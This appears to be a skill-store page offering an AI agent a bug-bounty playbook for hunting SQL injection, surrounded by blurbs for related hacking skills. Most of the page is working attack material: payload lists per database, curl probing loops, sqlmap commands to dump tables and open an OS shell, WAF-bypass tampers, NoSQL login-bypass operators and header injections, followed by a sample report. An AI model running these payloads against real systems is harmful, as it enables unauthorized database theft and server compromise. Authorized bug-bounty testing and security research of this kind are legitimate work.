Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.
中文简介正在准备中。当前显示原文说明。
Hunt SQL injection in REST/GraphQL/SOAP/raw parameters using sqlmap, ghauri, manual UNION/Time/Boolean techniques, and custom WAF-bypass tamper scripts. Use when an input flows into a database query or when the user has identified a parameter that might be vulnerable.
中文简介正在准备中。当前显示原文说明。
实测评分 未实测
查看安装方法安装前可以查看交给 AI 代理的指令内容。
"SQLi is dead in 2026" — said no one who actually hunts.
Trigger phrases:
| Type | Detection | Tools |
|---|---|---|
| Error-based | DB error in response | manual, sqlmap |
| UNION-based | Reflection of UNION'd data | manual, sqlmap |
| Boolean-blind | Response differs on TRUE vs FALSE | sqlmap, ghauri |
| Time-blind | Response delayed on injection | sqlmap, ghauri |
| Out-of-band (OOB) | DNS/HTTP callback from DB | sqlmap with collaborator |
| Second-order | Stored input later concat'd | manual mostly |
Search for inputs that touch DB:
?q=)?sort=, ?orderBy=)?id=, /user/{id})for payload in "'" "\"" "' OR '1'='1" "1' AND 1=1--" "1' AND 1=2--"; do
r=$(curl -s "https://target.com/search?q=$(echo "$payload" | jq -sRr @uri)")
if echo "$r" | grep -iE 'sql|syntax|mysql|postgres|oracle|sqlite|mssql|sqlite|odbc|jdbc|odbc|warning'; then
echo "[POSSIBLE] $payload"
fi
done
Common DB error strings to grep for:
"sql syntax"
"mysql_fetch"
"ORA-01756"
"PostgreSQL ERROR"
"SQLSTATE"
"unclosed quotation"
"unterminated quoted string"
"Microsoft OLE DB Provider"
"Driver][Microsoft]"
"odbc_exec"
"sqlite3.OperationalError"
"You have an error in your SQL syntax"
# Determine columns
PAYLOADS=(
"1 ORDER BY 1--"
"1 ORDER BY 2--"
"1 ORDER BY 3--"
# ... until error
)
# Once column count known, find which column reflects
"1 UNION SELECT 'INJECT1','INJECT2','INJECT3'--"
# Now extract data
"1 UNION SELECT version(),current_user(),database()--" # MySQL/PostgreSQL
"1 UNION SELECT @@version,SYSTEM_USER,DB_NAME()--" # MSSQL
"1 UNION SELECT banner,user,sys_context('USERENV','DB_NAME') FROM v$version--" # Oracle
Compare response to TRUE vs FALSE:
TRUE: ?id=1 AND 1=1
FALSE: ?id=1 AND 1=2
If responses differ (length, content) → blind SQLi.
# Length diff
TRUE_LEN=$(curl -s "https://target.com/u?id=1 AND 1=1" | wc -c)
FALSE_LEN=$(curl -s "https://target.com/u?id=1 AND 1=2" | wc -c)
echo "True: $TRUE_LEN | False: $FALSE_LEN"
# If different → blind SQLi
Extract data char-by-char:
?id=1 AND ASCII(SUBSTRING((SELECT version()),1,1)) > 64
MySQL: ?id=1 AND SLEEP(5)--
MySQL: ?id=1 AND IF(1=1,SLEEP(5),0)--
PostgreSQL: ?id=1; SELECT pg_sleep(5)--
MSSQL: ?id=1; WAITFOR DELAY '0:0:5'--
Oracle: ?id=1 AND 1=DBMS_PIPE.RECEIVE_MESSAGE('a',5)
SQLite: ?id=1 AND randomblob(100000000)
Measure response time:
time curl -s "https://target.com/u?id=1%20AND%20SLEEP(5)--"
# Basic
sqlmap -u "https://target.com/u?id=1" --batch
# From a captured request (the right way)
sqlmap -r request.txt --batch --level 3 --risk 2
# Specific parameter
sqlmap -u "https://target.com/u?id=1&name=foo" -p id --batch
# POST body
sqlmap -u "https://target.com/login" --data="user=admin&pass=test" --batch
# Cookie params
sqlmap -u "https://target.com/dashboard" --cookie="session=X; theme=Y" -p theme --batch
# Custom headers
sqlmap -u "https://target.com" --headers="X-Forwarded-For: *" --batch
# JSON body
sqlmap -u "https://target.com/api" --data='{"id":1}' --headers="Content-Type: application/json" --batch
# Get all tables (after detection)
sqlmap -r request.txt --batch --tables
# Dump a specific table
sqlmap -r request.txt --batch -T users --dump
# OS shell (if DBA + writable)
sqlmap -r request.txt --batch --os-shell
If WAF blocks payloads, layer tampers:
# Common bypasses
sqlmap -u "URL" --tamper=space2comment,charencode,randomcase,between
# Cloudflare-aware
sqlmap -u "URL" --tamper=space2comment,between,randomcase --random-agent
# Custom tampers (in arsenal/sqlmap-tampers/)
sqlmap -u "URL" --tamper=cve-2021-bypass-1,uri-double-encode --random-agent
See arsenal/sqlmap-tampers/ for our custom WAF-bypass tampers.
ghauri is faster + better at modern blind detection:
ghauri -u "https://target.com/u?id=1" --batch --dbs
ghauri -r request.txt --batch --level 3 --risk 2 --tables
# Try inside GraphQL args
query { user(id: "1'") { name } }
query { user(id: "1 OR 1=1") { name } }
# Search/filter args
query { products(where: { name: { contains: "'" } }) { id } }
For MongoDB and similar:
# Login bypass with operator injection
{"username": {"$ne": null}, "password": {"$ne": null}}
{"username": "admin", "password": {"$gt": ""}}
{"username": {"$regex": ".*"}, "password": {"$regex": ".*"}}
# NoSQLMap
git clone https://github.com/codingo/NoSQLMap
python NoSQLMap.py
' OR '1'='1
' OR 1=1--
admin'--
admin' #
admin'/*
' OR 'x'='x
' AND 1=0 UNION SELECT 'admin','5f4dcc3b5aa765d61d8327deb882cf99'-- # password = "password" md5
' -- quote
"
'/*
)
'))
';--
';/*
1' AND '1
1) AND ('1'='1
%27 -- url-encoded quote
%2527 -- double url-encoded
'\\
';SELECT SLEEP(5)#
'+(SELECT*FROM(SELECT(SLEEP(5)))a)+'
';WAITFOR DELAY '0:0:5'--
"||(IF(1=1,SLEEP(5),0))||"
1';SELECT CASE WHEN (1=1) THEN PG_SLEEP(5) ELSE PG_SLEEP(0) END--
--
#
/*
;%00
## Time-based blind SQLi in /api/v3/search
**URL:** `POST https://app.target.com/api/v3/search`
**Vulnerable parameter:** `sort` (JSON body)
**Database:** MySQL 8.0 (detected via fingerprint)
**Detection PoC:**
Normal response time: ~120ms
With injection: ~5200ms (5s sleep)
```http
POST /api/v3/search HTTP/1.1
Host: app.target.com
Content-Type: application/json
Cookie: session=USER_SESSION
{"query": "test", "sort": "name';SELECT SLEEP(5)#"}
Exploitation (data extraction): sqlmap with the captured request:
sqlmap -r request.txt --batch --level 3 -p sort --technique=T --dbs
Output:
[INFO] available databases:
- target_prod
- target_test
- mysql
Impact:
users table: 2.3M rows including emails, hashed passwordsSuggested fix:
sort field — never concat into SQLname, created_at, etc.)
## Cross-references
- `[[auth-bypass]]` — SQLi for login bypass
- `[[business-logic]]` — second-order SQLi
- `[[graphql]]` — GraphQL field SQLi
## Common pitfalls
1. **Trusting sqlmap output without manual verification.** False positives happen, especially with WAFs.
2. **Reporting reflected DB error without exploitation.** "I saw a stack trace" is usually informative-only.
3. **Stopping at quote injection.** Many DBs let you inject without quotes (numeric contexts).
4. **Missing the `--level` and `--risk` parameters.** Default is too low; use `--level 3 --risk 2` for thorough.
5. **Reporting Boolean-blind on auth-required endpoint without auth bypass.** Always confirm severity is justified.
## Severity cheat
| Finding | Severity |
|---|---|
| Time-blind on a low-priv endpoint with no data extracted | Medium (often) |
| UNION-based with `users` table dump | High |
| Login auth bypass via SQLi | Critical |
| SQLi to RCE via INTO OUTFILE / xp_cmdshell | Critical+ |
| Read-only blind, no impact chain | Sometimes informative |
## SQL injection in headers/cookies
Don't forget:
```bash
# UA log injection (often logged to DB)
curl "https://target.com/" -H "User-Agent: '"
# Referer
curl "https://target.com/" -H "Referer: ' OR 1=1--"
# Cookie (if used in query)
curl "https://target.com/" -H "Cookie: theme=' OR 1=1--"
# X-Forwarded-For
curl "https://target.com/" -H "X-Forwarded-For: ' OR 1=1--"
SeLeCt not SELECT.SE/**/LECT.SELECT%0AFROM (CRLF).还没有评价。欢迎分享你的使用感受。
无需登录即可发表。欢迎分享使用感受、提问,或说明在哪些环境下无法运行。
还没有评论。来写第一条吧。
Probe subdomain list with httpx/dnsx/naabu to identify live hosts, open ports, status codes, titles, and basic fingerprints. Use after subdomain-enum produces a sub list. Output feeds into fingerprinting and content discovery.
中文简介正在准备中。当前显示原文说明。
Hunt full Account Takeover (ATO) by chaining lower-severity findings — IDOR-to-email-disclosure, password-reset-token-theft, OAuth-redirect-uri abuse, response-manipulation, cookie scope, CRLF in Set-Cookie, race-condition on signup. Use when the user wants to escalate small findings to ATO or thinks an ATO path exists.
中文简介正在准备中。当前显示原文说明。
Hunt authentication and authorization bypasses — forced browsing, path traversal in auth, header injection, JWT downgrade, OAuth state confusion, role manipulation. Use when an endpoint returns 401/403 but appears reachable.
中文简介正在准备中。当前显示原文说明。
Write Bugcrowd-format reports — VRT (Vulnerability Rating Taxonomy) mapping, P1-P5 severity, impact-led writing, and Bugcrowd-specific submission etiquette. Use AFTER triage-validation passes for Bugcrowd programs.
中文简介正在准备中。当前显示原文说明。
Hunt business logic flaws — race conditions, workflow state bypass, parameter pollution affecting logic, coupon/discount abuse, refund logic, multi-step process bypass, integer overflow, negative quantities, double-spend. Use when looking for non-CVE bugs that require understanding the app's intended workflow.
中文简介正在准备中。当前显示原文说明。
Hunt web cache poisoning, CDN cache poisoning, and cache deception attacks. Use when target uses a CDN (Cloudflare, Akamai, Fastly, AWS CloudFront) or has Varnish/nginx caches and you want to identify cache key flaws that let attackers serve malicious content to other users.
中文简介正在准备中。当前显示原文说明。